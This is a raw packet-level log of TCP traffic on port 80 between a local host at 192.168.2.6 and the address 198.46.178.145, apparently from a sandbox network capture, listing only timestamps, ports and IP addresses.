Jul 26, 2024 11:27:06.649852037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.649864912 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.649874926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.649887085 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.649897099 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.649908066 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.649918079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.649930000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.649938107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.649950027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.649971008 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.649995089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650015116 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650029898 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650034904 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650043011 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650053978 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650059938 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650073051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650088072 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650095940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650104046 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650116920 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650127888 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650137901 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650150061 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650158882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650171041 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650180101 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650187969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650201082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650213957 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650218964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650228977 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650240898 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650264978 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650279045 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650293112 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650300980 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650309086 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650322914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650336027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650342941 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650350094 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650377035 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650719881 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650729895 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650754929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650763988 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650778055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650784969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650798082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650813103 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650819063 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650826931 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650836945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650846004 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650859118 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650873899 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650882006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650899887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650917053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650923014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650923014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650932074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650942087 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650955915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650964022 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650974989 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.650988102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.650995016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.651021957 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.738044024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738071918 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738081932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738086939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738092899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738097906 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738104105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738198042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738207102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738212109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738217115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738221884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738229036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738238096 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.738254070 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738257885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738264084 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738286018 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.738322020 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.738431931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738483906 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.738502979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738512993 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738518000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738580942 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.738656044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738666058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738671064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738677025 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.738719940 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.739218950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739228964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739234924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739238977 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739243984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739248991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739253998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739259005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739264011 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739315033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.739525080 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739535093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739538908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739547968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739552975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739557028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739562035 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739567995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739569902 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.739583015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739588022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739592075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739595890 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739600897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739604950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739610910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739614010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739624977 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739629984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739639044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739645004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.739691973 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.739712954 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.739990950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740000010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740005016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740009069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740014076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740025997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740036964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740041971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740046024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740050077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740053892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740057945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740063906 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.740071058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740076065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740080118 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740086079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740092993 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740102053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740111113 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740114927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740119934 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740168095 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.740235090 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.740854025 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740863085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740871906 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740875959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740880966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740885973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740890980 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740905046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740911961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740920067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740925074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740928888 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740935087 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740952969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.740961075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740981102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740983009 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.740989923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740994930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.740998983 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741003036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741008043 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741014004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741070032 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.741538048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741548061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741553068 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741558075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741574049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741611958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.741611958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.741621971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741636038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741645098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741651058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741655111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741658926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741663933 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741677046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.741697073 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.741744995 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.856905937 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.856931925 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.856945992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.856961966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.856973886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.856985092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857002974 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857012987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857021093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857038975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857053041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857062101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857074976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857081890 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857100964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857108116 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857125998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857139111 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857146025 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857157946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857167006 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857177973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857188940 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857193947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857208967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857214928 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857228041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857239962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857245922 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857259989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857271910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857279062 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857306957 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857316017 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857321978 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857335091 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857347965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857356071 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857371092 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857374907 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857388020 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857402086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857409000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857420921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857434988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857439995 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857454062 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857460976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857472897 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857481003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857491016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857500076 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857515097 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857522011 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857537031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857542038 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857554913 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857562065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857573986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857599974 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857814074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857824087 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857841969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857856989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857862949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857877016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857887983 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857893944 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857906103 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857918978 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857932091 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857938051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857952118 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857956886 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857970953 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857975960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.857989073 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.857992887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858001947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858011007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858011961 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858020067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858026028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858031034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858036995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858086109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858340025 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858349085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858386040 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858586073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858606100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858616114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858625889 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858639002 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858644962 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858656883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858663082 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858675003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858681917 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858690977 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858697891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858711958 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858725071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858731031 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858743906 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858757019 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858762026 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858773947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858786106 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858791113 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858803034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858808994 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858820915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858834028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858840942 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858855009 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858866930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858871937 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858886003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858890057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858902931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.858912945 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.858937025 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859159946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859169960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859188080 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859205961 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859226942 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859330893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859344959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859358072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859371901 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859384060 CEST	49741	80	192.168.2.6	198.46.178.145
